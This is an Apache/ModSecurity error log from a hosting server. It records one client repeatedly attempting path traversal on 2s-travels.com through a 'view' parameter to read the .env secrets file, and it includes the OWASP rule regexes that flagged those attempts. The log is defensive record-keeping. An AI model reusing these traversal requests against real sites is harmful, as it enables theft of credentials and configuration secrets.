[Fri Jul 17 08:55:06.717979 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.718272 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkqquHSHoCJK_V0SBQgAAABs"]
[Fri Jul 17 08:55:06.719545 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?view=..%2F..%2F.env&extra=Sf0kFncsF-64RkuHQkuEEQACyWo8Q4tKqjl31nxPixZU1m_6qyAmzJo_p5hpyY5kzxrE81ox015Y5VhVTEB762fZP6mnGQpesnl_cGHNvy5zEW-GTcF-1vYe5eyLfCn7FiMTU6RmljZARoSK6ouKBjhTwHq5kDivsvkumNGpCADKzAsmiIFyjKZaGAbUsZ1Q_EVB4n4dD26UKG-1QPh7KctMSmEAj-HwUJqKgk1sCOL5PjJcwnWREpOq2IX0HJFzOq4s2a3Z6Y0N7NpVqS1PsPmM&anything=FV6ZPZ6CW6LYAVICU5GBH73JDZIV767Z4Q7BZFBNUX7RC7AYHNAJ477CK773RHYMO27OELJOANB2OQCYLBHOLYBCWBVX7TFMTOWNL2OBFWMX65KEQLHKVLJGIUZES7ZFPL7QK6L7RG..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ATgAAAAU"]
[Fri Jul 17 08:55:06.719595 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ATgAAAAU"]
[Fri Jul 17 08:55:06.719669 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?view=../../.env&extra=Sf0kFncsF-64RkuHQkuEEQACyWo8Q4tKqjl31nxPixZU1m_6qyAmzJo_p5hpyY5kzxrE81ox015Y5VhVTEB762fZP6mnGQpesnl_cGHNvy5zEW-GTcF-1vYe5eyLfCn7FiMTU6RmljZARoSK6ouKBjhTwHq5kDivsvkumNGpCADKzAsmiIFyjKZaGAbUsZ1Q_EVB4n4dD26UKG-1QPh7KctMSmEAj-HwUJqKgk1sCOL5PjJcwnWREpOq2IX0HJFzOq4s2a3Z6Y0N7NpVqS1PsPmM&anything=FV6ZPZ6CW6LYAVICU5GBH73JDZIV767Z4Q7BZFBNUX7RC7AYHNAJ477CK773RHYMO27OELJOANB2OQCYLBHOLYBCWBVX7TFMTOWNL2OBFWMX65KEQLHKVLJGIUZES7ZFPL7QK6L7RGZSJV2OKXRSFF..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ATgAAAAU"]
[Fri Jul 17 08:55:06.719710 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?view=../../.env&extra=sf0kfncsf-64rkuhqkueeqacywo8q4tkqjl31nxpixzu1m_6qyamzjo_p5hpyy5kzxre81ox015y5vhvteb762fzp6mngqpesnl_cghnvy5zew-gtcf-1vye5eylfcn7fimtu6rmljzarosk6oukbjhtwhq5kdivsvkumngpcadkzasmiifyjkzagabusz1q_evb4n4dd26ukg-1qph7kctmsmeaj-hwujqkgk1scol5pjjcwnwrepoq2ix0hjfzoq4s2a3z6y0n7npvqs1pspmm&anything=fv6zpz6cw6lyavicu5gbh73jdziv767z4q7bzfbnux7rc7ayhnaj477ck773rhymo27oeljoanb2oqcylbholybcwbvx7tfmtownl2obfwmx65keqlhkvljgiuzes7zfpl7qk6l7rgzsjv2okxrsff..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ATgAAAAU"]
[Fri Jul 17 08:55:06.719731 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ATgAAAAU"]
[Fri Jul 17 08:55:06.719749 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ATgAAAAU"]
[Fri Jul 17 08:55:06.720963 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ATgAAAAU"]
[Fri Jul 17 08:55:06.721115 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.721398 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkhAi3pC6yjXGNq2ATgAAAAU"]
[Fri Jul 17 08:55:06.737140 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?view=..%2F..%2F..%2F.env&ts=hcs6J_QqHLzniZ3J789MzLEXC-G806V7cLYPGH4z1beEHrTceENfwGSVl_V9wQOcGjAO5aCkSX_ReSjvNKmkIvsyBqgAlvGDvEw-jsYSfUtP8ChCy1o81elNfumj_RVUJyrKd0C7rQVQ3UirL93Z_zZcPwKzJFz2TZZl-tiFkVBdiKYOaxK7MIMrtFHK1uel-1tCrBGHIfZrzBxycJYeiOr7TSCLdlBgWDfv6eXOP-8Plzfo4pDqgl_-xy_vgkLhjWlyEJe4Kgxcfu4aB4mHGzHa&extra=XZNB6ZP5JYL5Q76ANHZ7MN4FCVE6L4NBZFHXMV3XDBEDQBUAIGUXVMWN6R2JQHXK6PRLHGSVRMFBOTHVPFXYVYQEWD7QRR3NKTSX7V7IG7IJP7STK5FCI6WISZLS4IY2FN5WO4PYPI6..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTwAAABI"]
[Fri Jul 17 08:55:06.737190 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTwAAABI"]
[Fri Jul 17 08:55:06.737249 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?view=../../../.env&ts=hcs6J_QqHLzniZ3J789MzLEXC-G806V7cLYPGH4z1beEHrTceENfwGSVl_V9wQOcGjAO5aCkSX_ReSjvNKmkIvsyBqgAlvGDvEw-jsYSfUtP8ChCy1o81elNfumj_RVUJyrKd0C7rQVQ3UirL93Z_zZcPwKzJFz2TZZl-tiFkVBdiKYOaxK7MIMrtFHK1uel-1tCrBGHIfZrzBxycJYeiOr7TSCLdlBgWDfv6eXOP-8Plzfo4pDqgl_-xy_vgkLhjWlyEJe4Kgxcfu4aB4mHGzHa&extra=XZNB6ZP5JYL5Q76ANHZ7MN4FCVE6L4NBZFHXMV3XDBEDQBUAIGUXVMWN6R2JQHXK6PRLHGSVRMFBOTHVPFXYVYQEWD7QRR3NKTSX7V7IG7IJP7STK5FCI6WISZLS4IY2FN5WO4PYPI6NANOZ6X4ACTFBP..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTwAAABI"]
[Fri Jul 17 08:55:06.737276 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?view=../../../.env&ts=hcs6j_qqhlzniz3j789mzlexc-g806v7clypgh4z1beehrtceenfwgsvl_v9wqocgjao5acksx_resjvnkmkivsybqgalvgdvew-jsysfutp8chcy1o81elnfumj_rvujyrkd0c7rqvq3uirl93z_zzcpwkzjfz2tzzl-tifkvbdikyoaxk7mimrtfhk1uel-1tcrbghifzrzbxycjyeior7tscldlbgwdfv6exop-8plzfo4pdqgl_-xy_vgklhjwlyeje4kgxcfu4ab4mhgzha&extra=xznb6zp5jyl5q76anhz7mn4fcve6l4nbzfhxmv3xdbedqbuaiguxvmwn6r2jqhxk6prlhgsvrmfbothvpfxyvyqewd7qrr3nktsx7v7ig7ijp7stk5fci6wiszls4iy2fn5wo4pypi6nanoz6x4actfbp..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTwAAABI"]
[Fri Jul 17 08:55:06.737295 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTwAAABI"]
[Fri Jul 17 08:55:06.737313 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTwAAABI"]
[Fri Jul 17 08:55:06.738549 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUTwAAABI"]
[Fri Jul 17 08:55:06.738730 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.739075 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkl1_86A5R6msWNfUTwAAABI"]
[Fri Jul 17 08:55:06.753538 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?view=..%2F..%2F..%2F..%2F.env&extra=CqWwxBbwIb3dV7DM1zrCQn_D0VZj4Rgc9-PmpmvZji_0_SKsZBaicfEosBOw_oNFYnczFkZheOhNsUBoBHYpNOVLzT-ItbRjEB5V2XPhRyeQPFCZ6QzO947KXU_2EYjL4xm5yIjfZ2YXioU9gv5gjNPPUYhL47V66ScEFh8775RayzuHRxTN1s96K6kz8dJAn4hHkVhQs4k83mzFB8W_IPtrdnPbcwjL-QSiivMcZNKLq8h5_GGBxzs-Jo90aKhBfcbTkzqqBsIInvcBo-zF_5qR&debug=VZSUNQU23AUE7CPHYELTODXSTNO34FKMGNRK7ASN73RGR26KWBFDETRRQTSKX5IIKP2WRQ3JKXNNA4CSYOGORRNEY7O4URHSRVZLYT77EVA3K7CGNYAWZZYW36GNVDFU5JJ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95mgAAAAw"]
[Fri Jul 17 08:55:06.753591 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95mgAAAAw"]
[Fri Jul 17 08:55:06.753651 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?view=../../../../.env&extra=CqWwxBbwIb3dV7DM1zrCQn_D0VZj4Rgc9-PmpmvZji_0_SKsZBaicfEosBOw_oNFYnczFkZheOhNsUBoBHYpNOVLzT-ItbRjEB5V2XPhRyeQPFCZ6QzO947KXU_2EYjL4xm5yIjfZ2YXioU9gv5gjNPPUYhL47V66ScEFh8775RayzuHRxTN1s96K6kz8dJAn4hHkVhQs4k83mzFB8W_IPtrdnPbcwjL-QSiivMcZNKLq8h5_GGBxzs-Jo90aKhBfcbTkzqqBsIInvcBo-zF_5qR&debug=VZSUNQU23AUE7CPHYELTODXSTNO34FKMGNRK7ASN73RGR26KWBFDETRRQTSKX5IIKP2WRQ3JKXNNA4CSYOGORRNEY7O4URHSRVZLYT77EVA3K7CGNYAWZZYW36GNVDFU5JJ44EYSFWYFMVBAWWE..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95mgAAAAw"]
[Fri Jul 17 08:55:06.753694 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?view=../../../../.env&extra=cqwwxbbwib3dv7dm1zrcqn_d0vzj4rgc9-pmpmvzji_0_skszbaicfeosbow_onfynczfkzheohnsubobhypnovlzt-itbrjeb5v2xphryeqpfcz6qzo947kxu_2eyjl4xm5yijfz2yxiou9gv5gjnppuyhl47v66scefh8775rayzuhrxtn1s96k6kz8djan4hhkvhqs4k83mzfb8w_iptrdnpbcwjl-qsiivmcznklq8h5_ggbxzs-jo90akhbfcbtkzqqbsiinvcbo-zf_5qr&debug=vzsunqu23aue7cphyeltodxstno34fkmgnrk7asn73rgr26kwbfdetrrqtskx5iikp2wrq3jkxnna4csyogorrney7o4urhsrvzlyt77eva3k7cgnyawzzyw36gnvdfu5jj44eysfwyfmvbawwe..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95mgAAAAw"]
[Fri Jul 17 08:55:06.753714 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95mgAAAAw"]
[Fri Jul 17 08:55:06.753734 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:view: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95mgAAAAw"]
